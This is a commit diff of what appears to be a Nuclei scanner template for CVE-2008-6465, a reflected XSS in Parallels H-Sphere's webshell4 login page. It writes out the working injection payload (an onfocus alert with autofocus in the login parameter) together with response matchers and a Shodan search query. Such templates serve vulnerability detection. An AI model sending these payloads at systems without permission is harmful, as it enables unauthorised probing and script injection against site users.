Update CVE-2008-6465.yaml
parent
b991a804d8
commit
2c8ace9ea6
|
@ -10,28 +10,29 @@ info:
|
|||
- https://nvd.nist.gov/vuln/detail/CVE-2008-6465
|
||||
classification:
|
||||
cve-id: CVE-2008-6465
|
||||
tags: xss,parallels,hsphere,cve2008
|
||||
metadata:
|
||||
verified: true
|
||||
shodan-query: title:"Parallels H-Sphere"
|
||||
tags: cve,cve2008,xss,parallels
|
||||
|
||||
requests:
|
||||
- raw:
|
||||
- |
|
||||
@timeout: 10s
|
||||
GET /webshell4/login.php?errcode=0&login=\%22%20onfocus=alert(document.domain);%20autofocus%20\%22&err=U HTTP/1.1
|
||||
Host: {{Hostname}}
|
||||
- method: GET
|
||||
path:
|
||||
- '{{BaseURL}}/webshell4/login.php?errcode=0&login=\%22%20onfocus=alert(document.domain);%20autofocus%20\%22&err=U'
|
||||
|
||||
matchers-condition: and
|
||||
matchers:
|
||||
- type: status
|
||||
status:
|
||||
- 200
|
||||
- type: word
|
||||
part: body
|
||||
words:
|
||||
- '\" onfocus=alert(document.domain); autofocus'
|
||||
- 'Please enter login name & password'
|
||||
|
||||
- type: word
|
||||
part: header
|
||||
words:
|
||||
- "text/html"
|
||||
- 'text/html'
|
||||
|
||||
- type: word
|
||||
part: body
|
||||
words:
|
||||
- "\" onfocus=alert(document.domain); autofocus"
|
||||
- "-at--psoft.net>"
|
||||
- type: status
|
||||
status:
|
||||
- 200
|
||||
|
|
Loading…
Reference in New Issue